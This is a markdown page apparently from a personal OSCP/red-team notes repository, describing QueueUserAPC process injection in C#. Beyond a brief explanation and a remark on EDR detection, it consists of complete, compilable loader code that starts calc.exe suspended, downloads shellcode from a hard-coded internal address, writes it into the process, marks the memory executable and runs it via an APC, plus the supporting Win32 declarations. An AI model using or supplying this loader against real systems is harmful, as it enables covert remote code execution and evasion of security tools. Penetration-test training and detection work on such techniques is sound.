Files
oscp/Necronomicon/Programming/CSharp/Process Injection/4. QueueUserAPC.md
T
2025-11-21 17:17:42 +01:00

230 lines
6.5 KiB
Markdown

# QueueUserAPC
Used alternatively to CRT and tends to be less scrutinized (Falcon still smacks it down tho)
1. Spawn a process in a suspended state, queue the APC on the primary thread and resume.
or
1. Enumerate threads of an existing process and queue the APC on one of them.
1. Wait for that thread to enter an alerted state, or
2. Force that thread to enter an alerted state.
First option is more straight forward.
`QueueUserAPC.cs`
```csharp
using System;
using System.ComponentModel;
using System.Net.Http;
using System.Runtime.InteropServices;
using System.Threading.Tasks;
namespace QueueUserAPC
{
internal class Program
{
static async Task Main(string[] args)
{
var si = new Win32.STARTUPINFO();
si.cb = Marshal.SizeOf(si);
var pa = new Win32.SECURITY_ATTRIBUTES();
pa.nLength = Marshal.SizeOf(pa);
var ta = new Win32.SECURITY_ATTRIBUTES();
ta.nLength = Marshal.SizeOf(ta);
var pi = new Win32.PROCESS_INFORMATION();
var success = Win32.CreateProcessW(
"C:\\Windows\\System32\\calc.exe",
null,
ref ta,
ref pa,
false,
0x00000004, // CREATE_SUSPENDED
IntPtr.Zero,
"C:\\Windows\\System32",
ref si,
out pi);
// If we failed to spawn the process, just bail
if (!success)
throw new Win32Exception(Marshal.GetLastWin32Error());
// gather shellcode
byte[] shellcode;
var addr = "http://10.10.1.128/shellcode.bin";
using (var client = new HttpClient())
shellcode = await client.GetByteArrayAsync(addr);
// Allocate mem
var baseAddress = Win32.VirtualAllocEx(
pi.hProcess,
IntPtr.Zero,
(uint)shellcode.Length,
Win32.AllocationType.Commit | Win32.AllocationType.Reserve,
Win32.MemoryProtection.ReadWrite);
// Write shellcode, discard
Win32.WriteProcessMemory(
pi.hProcess,
baseAddress,
shellcode,
shellcode.Length,
out _);
// Flip mem protection, discard
Win32.VirtualProtectEx(
pi.hProcess,
baseAddress,
(uint)shellcode.Length,
Win32.MemoryProtection.ExecuteRead,
out _);
// Queue the APC, discard
Win32.QueueUserAPC(
baseAddress,
pi.hThread,
0);
// Resume thread
Win32.ResumeThread(pi.hThread);
}
}
}
```
`Win32.cs`
```csharp
using System;
using System.Runtime.InteropServices;
namespace QueueUserAPC
{
internal class Win32
{
[StructLayout(LayoutKind.Sequential)]
public struct STARTUPINFO
{
public int cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public int dwX;
public int dwY;
public int dwXSize;
public int dwYSize;
public int dwXCountChars;
public int dwYCountChars;
public int dwFillAttribute;
public int dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential)]
public struct SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle;
}
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
public static extern bool CreateProcessW(
string lpApplicationName,
string lpCommandLine,
ref SECURITY_ATTRIBUTES lpProcessAttributes,
ref SECURITY_ATTRIBUTES lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAllocEx(
IntPtr hProcess,
IntPtr lpAddress,
uint dwSize,
AllocationType flAllocationType,
MemoryProtection flProtect);
[DllImport("kernel32.dll")]
public static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
int nSize,
out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
public static extern bool VirtualProtectEx(
IntPtr hProcess,
IntPtr lpAddress,
uint dwSize,
MemoryProtection flNewProtect,
out MemoryProtection lpflOldProtect);
[DllImport("kernel32.dll")]
public static extern uint QueueUserAPC(
IntPtr pfnAPC,
IntPtr hThread,
uint dwData);
[DllImport("kernel32.dll")]
public static extern uint ResumeThread(
IntPtr hThread);
[Flags]
public enum AllocationType
{
Commit = 0x1000,
Reserve = 0x2000,
Decommit = 0x4000,
Release = 0x8000,
Reset = 0x80000,
Physical = 0x400000,
TopDown = 0x100000,
WriteWatch = 0x200000,
LargePages = 0x20000000
}
[Flags]
public enum MemoryProtection
{
Execute = 0x10,
ExecuteRead = 0x20,
ExecuteReadWrite = 0x40,
ExecuteWriteCopy = 0x80,
NoAccess = 0x01,
ReadOnly = 0x02,
ReadWrite = 0x04,
WriteCopy = 0x08,
GuardModifierflag = 0x100,
NoCacheModifierflag = 0x200,
WriteCombineModifierflag = 0x400
}
}
}
```